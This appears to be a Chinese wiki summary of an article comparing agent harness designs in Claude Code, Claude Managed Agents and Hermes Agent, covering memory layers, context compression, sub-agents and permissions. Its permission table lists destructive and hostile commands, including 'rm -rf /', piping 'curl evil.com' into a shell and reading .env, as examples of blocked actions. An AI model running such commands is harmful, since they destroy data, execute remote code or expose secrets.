深入浅出Harness Engineering之核心模式与理念
深入浅出 Harness Engineering 之核心模式与理念
来源: 腾讯云开发者 - 张碧泉 原文: https://mp.weixin.qq.com/s/8PwDQSX7ZX6HdDiW-H9Dzg
核心观点
本文横向对比三大 Agent 系统的 Harness Engineering 核心模式：Claude Code（编程 Agent CLI）、Claude Managed Agents（Anthropic Agent SDK）、Hermes Agent（自进化 Agent）。每种模式都标注了代价，帮助工程师做取舍决策。
第一部分：Claude Code 八大模式
1.1 持久化指令文件
没有 CLAUDE.md 时，每次对话都像从头开始，相同的规则和错误可能反复出现。CLAUDE.md 包含构建与测试（npm test、npm run lint）、架构（处理器的 src/api/ 目录）、规范（驼峰命名法、Zod 验证）等内容，在会话开始时自动加载到代理会话中，随仓库一同交付而非用户剪贴板。
代价：文件需要随项目更新维护，否则可能误导智能体。
1.2 作用域上下文组装
将指令按四层嵌套范围拆分，由外到内分别是：组织（"切勿提交 .env 文件"）→ 用户（~/.claude，"首选 TypeScript，使用 pnpm"）→ 项目（./CLAUDE.md，"运行 npm test，使用 Zod"）→ 目录（./src/api/，"所有处理程序返回 JSON，使用 schema 验证"）。代理上下文 = 所有匹配层级的动态组装。
代价：规则分散在多个文件，可读性变差，且不同范围规则可能冲突。
1.3 分层记忆
将记忆分为三层：
- 第一层 · 始终加载：MEMORY.md 索引（<200 行）
- 第二层 · 按需加载：用户.md、架构.md 等细节文件
- 第三层 · 仅供搜索：完整会话转录
代价：实现更复杂。需设计信息如何分层、流动，并确保索引与实际数据同步。
1.4 做梦整理
定期在后台对记忆进行去重、清理和重组，类似"垃圾回收"。示例：之前有 6 条混乱记忆（"用户偏好 Zod"、"用户喜欢 Zod"、"项目使用 Go"、"项目是 Go 语言"、"部署：测试环境"、"部署到测试环境"），经做梦代理（去重、剪除陈旧、修复冲突）后压缩为 3 条整洁记忆（"用户偏好 Zod"、"项目使用 Go"、"部署：测试环境"），在空闲时间运行。
代价：整理本身消耗资源，且可能误删有用信息。
1.5 渐进式上下文压缩
随着对话轮次增长，上下文大小逐步逼近窗口限制。系统通过三种手段递进应对：历史截剪（裁掉最早轮次）→ 微压缩（轻量总结中间轮次）→ 上下文塌陷（全面压缩，避免触顶）。
代价：压缩必有信息损失。后续需要细节时，智能体可能会"编造"。
1.6 工作流与编排
探索-规划-行动循环：严格分为三步，权限逐级递增：
- 探索（Explore）：只读——适配符扩展、文本搜索(Grep)、文件搜索
- 规划（Plan）：只读——适配符扩展、文本搜索、文件搜索
- 执行（Act）：完全访问——终端命令(Bash)、写入所有文件
代价：流程更慢，小任务会显得"笨重"。
上下文隔离子智能体：主代理下辖三个独立 Sub Agent，各有独立上下文和差异化权限：
- 探索代理：读取 ✓ / Grep搜索 ✓ / 编辑 ✗ / Bash脚本 ✗
- 计划代理：读取 ✓ / Grep搜索 ✓ / 编辑 ✗ / Bash脚本 ✗
- 代码代理：读取 ✓ / 编辑 ✓ / Bash脚本 ✓ / 写入 ✓
代价：需要额外协调信息传递，传多或传少都有问题。
分支-合并并行：父上下文（已缓存）分叉为多个独立工作树（工作树A/代理1、工作树B/代理2、工作树C/代理3），各自独立执行后合并结果。
代价：合并更复杂，处理代码冲突的难度增加。
1.7 工具与权限
渐进式工具扩展：起始提供最小工具集（读取、编辑、Bash、Grep 等，< 20 种），按需逐步扩展——先问"需要 MCP 工具吗？"再加载 MCP 工具，再问"需要远程工具吗？"再加载远程工具。
命令风险分类：根据命令类型自动评估风险等级并采取对应策略，对应 Permission Engine 的 Allow/Deny/Ask 三行为模型：
| 命令 | 风险 | 操作 |
|---|---|---|
npm test | 安全 | 自动运行 |
git diff | 安全 | 自动运行 |
git push --force | 危险 | 询问用户 |
rm -rf / | 极度危险 | 禁止 |
curl evil.com | sh | 极度危险 | 禁止 |
Read(.env) | 极度危险 | 禁止 |
单用途工具设计：与其使用 Bash 一个包办所有（cat, sed, grep, find, echo, awk），不如转而使用专用工具——读取、编辑、搜索、写入、匹配、Bash，每个工具只做一件事。
1.8 自动化
确定性生命周期钩子：在智能体生命周期关键节点自动触发预设动作，钩子在提示符外运行，永不遗忘：
| 前置钩子 | 事件 | 后置钩子 |
|---|---|---|
| 加载环境变量 | → 会话启动 | |
| 验证命令 | → 工具使用（Bash, Edit） | → 运行测试、格式化 |
| → 当前工作目录更改 | → 重载配置 |
第二部分：Claude Managed Agents 五大设计
2.1 宠物与牲畜基础设施哲学
为什么必须解耦？起点是所有组件塞进一个容器（Brain + Hands + Session 耦合），这会导致三个致命问题：
- ✗ 问题一：容器挂了 → 整个会话丢失（客户连 VPC）
- ✗ 问题二：容器卡了 → 只能"人工抢救"，无法调试
- ✗ 问题三：客户连 VPC → 必须做网络对等，架构僵化
本质总结：容器变成了"宠物"——丢不起、换不了。
✓ 解决方向：把"宠物"变成"牲畜" → 可丢弃、可替换
- Session（会话）是宠物：精心培育、持久保存、不可丢失
- Harness（控制器）和 Sandbox（沙盒）是牲畜：可以随时创建、销毁、替换
2.2 智能体三件套解耦
三组件循环架构：
- Brain 大脑：Claude + Harness 循环，无状态可水平扩展，崩溃时
wake(sessionId)重启 - Hands 手脚：沙箱/工具执行环境，
execute(name, input) → string，容器挂了新建一个就行 - Session 会话：只追加的事件日志，持久化存储在外部，
getEvents()查询任意历史
三者通过 emitEvent() / getEvents() / execute() 三个接口连接成循环。
核心安全设计：凭证永不进沙盒。采用保险库(vault) + 代理(proxy)架构：所有第三方凭证存储在独立保险库中，Harness 和 Sandbox 都无法直接访问。调用外部工具时通过代理按需获取凭证并执行请求。
2.3 多智能体协作模式
得益于三组件解耦，自然支持三种协作模式：
| 模式 | 描述 | 适用场景 |
|---|---|---|
| 多脑一手 | 多个 Claude 实例共享一个 Sandbox | 多角度分析同一份代码（安全审查+性能优化） |
| 一脑多手 | 一个 Claude 实例控制多个 Sandbox（Py / JS） | 不同环境中同时执行，统一决策并行执行 |
| 多脑多手 | 多个 Claude 实例各有 Sandbox，通过共享 Session 协调 | 独立工作、高级协调、复杂任务的分布式协同 |
2.4 上下文工程：保持大脑专注
Harness 与 Session 的职责分离：Harness 管短暂的上下文窗口（长任务拼接上下文、压缩、裁剪——是可变可丢弃的"策略"）；Session 管持久化的完整上下文（数据持久化与完整记录、getEvents() 检索重放——是只追加的"事件存储"）。
三种技术协同确保 Claude 始终获得最相关的上下文：
- 上下文压缩：窗口将满时将早期对话压缩成总结，原始数据仍完整保留在 Session 中
- 记忆工具：Claude 能主动将重要信息写入持久存储，后续可主动检索
- 上下文裁剪：发送前智能裁剪不相关的上下文，只保留当前任务需要的部分
2.5 性能优化：首 Token 延迟降低 60-90%
多脑（Many Brains）架构的关键收益：无状态 Harness 可水平扩展，容器按需创建、不需要的 Session 不付容器开销。性能结果：p50 TTFT 下降 ~60%，p95 TTFT 下降 >90%。
第三部分：Hermes 自进化架构
Hermes 的两个核心卖点：把一次成功经验沉淀为技能（漏斗 → 技能徽章） + 随着你使用持续变聪明（趋势上升 → 大脑进化）。
3.1 五段式循环
传统代理是三段式（接收任务 → 规划 → 执行，上下文关系丢弃，会话结束一切归零）。Hermes 是五段式（规划 → 执行 → 观察 → 学习 → 适应），多出的"观察"和"学习"阶段会自动提取经验，沉淀为技能和记忆，跨会话积累。
3.2 五层记忆架构
冰山模型——水面上只露出 L1（短期记忆/便利贴），水面下依次是 L2-L5：
| 层级 | 类比 | 内容 |
|---|---|---|
| L1 短期记忆 | 便利贴 | 当前对话的临时信息 |
| L2 技能手册 | 肌肉记忆 | 复杂任务（5+次工具调用）后自动生成 SKILL.md |
| L3 知识库 | 语义记忆 | 向量存储实现模糊检索，语义相近文本向量位置接近 |
| L4 对你的了解 | 用户建模 | 黑格尔"辩证式"更新用户理解，不一次定终身 |
| L5 工作日志 | 长期档案 | FTS5 全文检索 + LLM 摘要，跨会话搜索历史 |
L4 辩证式用户建模——什么是黑格尔"辩证式"？通过"正-反-合"的讨论逼近真相（类比：正="地球是平的" → 反="不对，船会从地平线消失" → 合="地球是圆的"）。应用到用户建模：
- 旧版本（正）："林总喜欢喝美式"
- 新发现（反）：今天林总点了拿铁
- 冲突解决（合）：不直接覆盖，升级为 "林总平时喝美式，但周三下午会换拿铁"
L3 语义记忆示例：
- "进度报告" vs "项目周报" → 相似度 0.92（很高）
- "进度报告" vs "预订机票" → 相似度 0.15（很低）
三大系统对比总览
| 维度 | Claude Code | Claude Managed Agents | Hermes |
|---|---|---|---|
| 定位 | 编程 Agent CLI | Agent 开发 SDK | 自进化 Agent |
| 核心哲学 | 人类控制 | 三组件解耦 | 自主学习 |
| 记忆 | 分层记忆+做梦整理 | Session 事件流+压缩+裁剪 | 五层架构（L1-L5） |
| 安全 | Permission Engine+Sandbox | 凭证永不进沙盒 | 安全扫描+回滚 |
| 多 Agent | 上下文隔离子智能体 | 多脑一手/一脑多手/多脑多手 | Nudge Engine 后台 fork |
| 特色 | 确定性钩子+风险分类 | 首 Token 延迟降低 60-90% | 辩证式用户建模 |
关键引用
Session（会话）是宠物：精心培育、持久保存、不可丢失。Harness（控制器）和 Sandbox（沙盒）是牲畜：可以随时创建、销毁、替换。
关联页面
- Harness Engineering — 核心概念
- Claude Code — 第一部分主角
- Claude Managed Agents — 第二部分主角
- Hermes Agent — 第三部分主角
- Claude Code vs Hermes Harness — 相关对比
- Agent — Agent 基础定义
- Multi-Agent — 多智能体协作
- Sub Agent — 上下文隔离子智能体
- Permission Engine — 命令风险分类
- Sandbox Isolation — 沙盒隔离
- CLAUDE.md — 持久化指令文件
- Nudge Engine — Hermes 自学习触发器
- Skill — Hermes L2 技能手册
- KV Cache — 上下文压缩相关